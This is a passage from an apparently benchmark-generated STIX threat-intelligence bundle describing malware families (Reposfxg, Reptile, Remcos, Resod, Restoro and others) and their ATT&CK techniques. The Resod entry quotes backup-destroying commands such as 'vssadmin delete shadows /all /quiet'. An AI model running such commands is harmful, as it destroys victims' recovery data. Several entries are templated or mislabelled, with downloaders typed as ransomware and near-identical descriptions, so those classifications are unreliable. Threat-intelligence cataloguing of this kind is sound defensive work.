      "id": "malware--35cc9003-d846-506c-8a56-09f972c164e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Reposfxg",
      "description": "<h3>Executive Summary</h3>\nReposfxg is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nReposfxg is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Reposfxg operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Reposfxg ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Reposfxg receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Reposfxg infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Reposfxg executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Reposfxg frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Reposfxg",
        "Downloader.Reposfxg",
        "Win32/Reposfxg"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Reposfxg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/reposfxg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e105671-0f16-5226-b51d-8d858d5519d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35cc9003-d846-506c-8a56-09f972c164e6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reposfxg exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90bf13dd-a379-5d66-82d7-82e69504c911",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35cc9003-d846-506c-8a56-09f972c164e6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reposfxg exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64333507-af35-5759-a45b-fa357d1d7294",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35cc9003-d846-506c-8a56-09f972c164e6",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reposfxg exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dfbfd5dd-5454-5615-8437-8dc3cf3ff1f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Reptile",
      "description": "Reptile (widely tracked across threat intelligence feeds as Rootkit.Reptile and Backdoor.Reptile) is a powerful, open-source stealth kernel-mode rootkit and backdoor framework created by researcher f0rb1dd3n and widely weaponized by sophisticated state-sponsored and cybercrime threat actors. Designed to provide deep persistence and concealment, Reptile operates as a Loadable Kernel Module (LKM) or Windows kernel driver that hooks system call tables, IRP handlers, and process management routines. It completely hides selected processes, network connections, ports, and files from operating system utilities, while providing an encrypted ICMP/UDP port-knocking reverse shell backdoor that activates on demand. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "rootkit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit:Linux/Reptile",
        "Backdoor:Linux/Reptile",
        "Rootkit:Win32/Reptile",
        "Reptile LKM Rootkit",
        "Reptile Framework"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Reptile",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/reptile"
        }
      ],
      "labels": [
        "rootkit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--34a91dc4-5e15-5ec7-b581-e201eec38266",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1547.006: Boot or Logon Autostart Execution: Kernel Modules and Extensions (LKM)",
      "description": "MITRE ATT&CK Technique T1547.006 (Boot or Logon Autostart Execution: Kernel Modules and Extensions (LKM)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1547.006",
          "url": "https://attack.mitre.org/techniques/T1547/006/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc710e7c-b16b-5126-9d27-a27c48eee7dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbfd5dd-5454-5615-8437-8dc3cf3ff1f0",
      "target_ref": "attack-pattern--34a91dc4-5e15-5ec7-b581-e201eec38266",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reptile exhibits technique T1547.006 (Boot or Logon Autostart Execution: Kernel Modules and Extensions (LKM))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57ea4be6-fe48-5cd7-9f80-44cc6d4d71da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbfd5dd-5454-5615-8437-8dc3cf3ff1f0",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reptile exhibits technique T1014 (Rootkit (Kernel Hooking))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--90e9ce3a-3c95-5f0d-b55f-02cb79c83ce5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1205.001: Traffic Signaling: Port Knocking (Hidden Backdoor)",
      "description": "MITRE ATT&CK Technique T1205.001 (Traffic Signaling: Port Knocking (Hidden Backdoor)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1205.001",
          "url": "https://attack.mitre.org/techniques/T1205/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89d21ad2-f1ea-534f-a152-8e7a4cda6b58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbfd5dd-5454-5615-8437-8dc3cf3ff1f0",
      "target_ref": "attack-pattern--90e9ce3a-3c95-5f0d-b55f-02cb79c83ce5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reptile exhibits technique T1205.001 (Traffic Signaling: Port Knocking (Hidden Backdoor))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e6cdc34-b6e3-551a-a656-8bcaf2a9324b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbfd5dd-5454-5615-8437-8dc3cf3ff1f0",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reptile exhibits technique T1068 (Exploitation for Privilege Escalation (Required for LKM insertion))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f829b07-ea31-5ebc-b774-cd7b7567fc3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbfd5dd-5454-5615-8437-8dc3cf3ff1f0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reptile exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Hiding from EDR))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e8870b2c-adf8-5410-81ea-4756513bcdfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rescoms",
      "description": "Rescoms (also documented across threat research repositories under signatures including Backdoor:Win32/Rescoms, Trojan:Win32/Remcos, and widely known as Remcos RAT by Breaking Security) is a notorious commercial Remote Access Trojan (RAT) actively weaponized in cyber espionage and cybercrime operations since 2016. Originally marketed as legitimate remote administration software, Remcos is extensively abused by sophisticated threat actors, cybercrime rings, and state-sponsored APTs. Remcos provides comprehensive surveillance capabilities, including live audio/video recording, keylogging, clipboard hijacking, credential theft from browsers and email clients, arbitrary file transfer, and reverse SOCKS proxy routing. The malware bypasses User Account Control (UAC), injects malicious threads into trusted system processes (svchost.exe, explorer.exe), and establishes encrypted TLS-wrapped command-and-control communication channels. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Rescoms",
        "Trojan:Win32/Remcos",
        "Backdoor.Remcos",
        "Win32/Remcos",
        "Remcos RAT",
        "Backdoor:Win32/Remcos.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rescoms",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rescoms"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ea257a5c-67ac-58fd-9785-f5655f69963c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Resdro",
      "description": "Trojan:Win32/Resdro is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Resdro</b><br>To an end-user, a Resdro infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Resdro is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Resdro is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Resdro frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Resdro reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Resdro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/resdro"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5f1029c-f129-5ca3-91ba-b1ce8d4889e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea257a5c-67ac-58fd-9785-f5655f69963c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resdro exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66a95955-f6b0-5f53-b7c2-85aeccb01f13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea257a5c-67ac-58fd-9785-f5655f69963c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resdro exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31c60569-557c-5794-873b-ec77fb3dcaee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea257a5c-67ac-58fd-9785-f5655f69963c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resdro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--484fc1ec-4b74-57a1-a650-a7d3d97bebbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea257a5c-67ac-58fd-9785-f5655f69963c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resdro exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--655dc0dd-6597-561b-815f-0c6d3331d2d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea257a5c-67ac-58fd-9785-f5655f69963c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resdro exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2828365b-5a9e-5f66-a965-ae145995619d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Reset",
      "description": "Reset (classified across antivirus engines as Ransom:Win32/Reset and Trojan-Ransom.Win32.Reset) is an aggressive corporate crypto-ransomware family designed to execute destructive file encryption and extortion. Infiltrating networks through exposed remote services and phishing loaders, Reset terminates local database services and backup agents before launching its encryption routine. It uses symmetric AES-256 encryption combined with an embedded RSA public key to encrypt critical business documents, databases, and backup archives across all local and mapped network drives, appending .reset to locked files. It drops ransom notes titled RESET_README.txt, purges Volume Shadow Copies via vssadmin, and disables Windows recovery mode. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Reset",
        "Trojan-Ransom.Win32.Reset",
        "Win32/Reset",
        "Reset Ransomware",
        "Ransom.Reset"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Reset",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/reset"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7457b462-f218-5ec5-8b67-8090c674a3eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2828365b-5a9e-5f66-a965-ae145995619d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reset exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d1d8d21-00a0-55f2-ae31-fe59a12e11da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2828365b-5a9e-5f66-a965-ae145995619d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reset exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cbb3f80-1efa-59f5-bd31-d468d807701a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2828365b-5a9e-5f66-a965-ae145995619d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reset exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe00e88d-f5b4-5a49-adcb-938c3112b5ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2828365b-5a9e-5f66-a965-ae145995619d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reset exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48600027-c5cc-5f04-8f83-ecad3c2df9c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2828365b-5a9e-5f66-a965-ae145995619d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reset exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--25b46224-558e-5547-8461-dbb344455487",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Resod",
      "description": "Resod (tracked across threat intelligence and antivirus telemetry under signatures including Ransom:Win32/Resod, Trojan-Ransom.Win32.Resod, and Win32/Resod) is a high-impact Windows crypto-ransomware family designed for corporate network extortion. Delivered primarily through brute-forced Remote Desktop Protocol (RDP) sessions, compromised VPN credentials, and malicious software downloaders, Resod targets corporate servers and endpoints to encrypt critical business records. Upon execution, Resod executes administrative shell commands to terminate database, hypervisor, and backup services (such as MSSQL, MySQL, Veeam, and vCenter services) using 'net stop' and 'taskkill', ensuring that databases and virtual disk files can be opened with write access. It systematically destroys system restore points and volume shadow copies using 'vssadmin delete shadows /all /quiet', 'wmic shadowcopy delete', and 'wbadmin delete catalog -quiet'. Resod encrypts targeted user documents, virtual machines, and databases using AES-256 in CBC mode, appending the '.resod' extension to all locked files. It embeds the session key encrypted under an embedded 2048-bit RSA master public key within each file header, and drops ransom notes ('HOW_TO_RESTORE_FILES.txt') directing victims to Tor negotiation portals. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Resod",
        "Trojan-Ransom.Win32.Resod",
        "Win32/Resod",
        "Ransom.Resod",
        "Resod Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Resod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/resod"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--17ea555e-2f69-50cb-a96b-821ce8ce7001",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Restoro",
      "description": "Rogue:Win32/Restoro is a highly prevalent Potentially Unwanted Program (PUA) classified as **Scareware** or a **Rogue System Optimizer**. It is designed to deliberately mislead the user into believing their computer is severely infected with malware, plagued with critical registry errors, or suffering from failing hardware. The ultimate goal is to panic the user into purchasing a fraudulent 'premium' license to fix these non-existent issues.<br><br><b>Understanding Restoro Scareware</b><br>To an end-user, Restoro is terrifying. Suddenly, their screen is filled with flashing red alerts, terrifying system warnings, and constant pop-ups claiming their hard drive is crashing. For a security analyst, this is a social engineering attack disguised as software. The software itself is largely harmless to the OS (it doesn't steal data or encrypt files), but it severely disrupts productivity and attempts to extort money from the user via credit card fraud.<br><br><b>Execution and Deception Mechanics</b><br>Restoro is typically installed via deceptive malvertising (fake 'Your PC is Infected!' banners) or bundled with freeware (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key so it launches every time the computer boots (`T1547.001`). It then initiates a 'scan' of the system. Regardless of the actual health of the computer, the scan is hardcoded to return hundreds of critical errors (`T1562`). It heavily utilizes the Windows UI to generate intrusive, uncloseable pop-up warnings, often disabling the Task Manager (`T1562.001`) to prevent the user from terminating the application easily.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe user panic, complete loss of productivity, and potential financial fraud if the user inputs their credit card. IoCs include EDR alerts for the installation of known rogue software binaries (e.g., `Restoro.exe`). Host-based indicators include the sudden appearance of aggressive system-tray alerts and the unauthorized modification of registry keys intended to disable administrative tools. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Restoro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/restoro"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f36b296-dcba-566f-92da-41392e17f6b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17ea555e-2f69-50cb-a96b-821ce8ce7001",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Restoro exhibits technique T1189 (Drive-by Compromise (Fake antivirus malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1d4abb1-7963-5eb6-8d4f-d3fa52a3d83c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17ea555e-2f69-50cb-a96b-821ce8ce7001",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Restoro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager to prevent closure))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7ccf2ec-0958-54d8-8a41-6c31a9dadfbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17ea555e-2f69-50cb-a96b-821ce8ce7001",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Restoro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98d2ca4e-db8c-54e7-8713-58da19a9957f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17ea555e-2f69-50cb-a96b-821ce8ce7001",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Restoro exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bf949dfc-8087-58ba-a2c3-bac902f1fe3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Resur",
      "description": "Trojan:Win32/Resur is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Resur</b><br>To an end-user, a Resur infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Resur is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Resur is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Resur frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Resur reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Resur",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/resur"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80eb0317-5d69-5fd9-ab99-86b8c3058e84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf949dfc-8087-58ba-a2c3-bac902f1fe3b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resur exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
